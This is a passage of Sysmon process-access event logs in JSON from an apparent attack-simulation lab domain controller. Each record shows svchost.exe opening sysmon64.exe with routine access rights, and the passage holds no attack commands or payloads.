11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1218,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1219,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1220,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1221,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1222,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1223,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1224,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1225,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 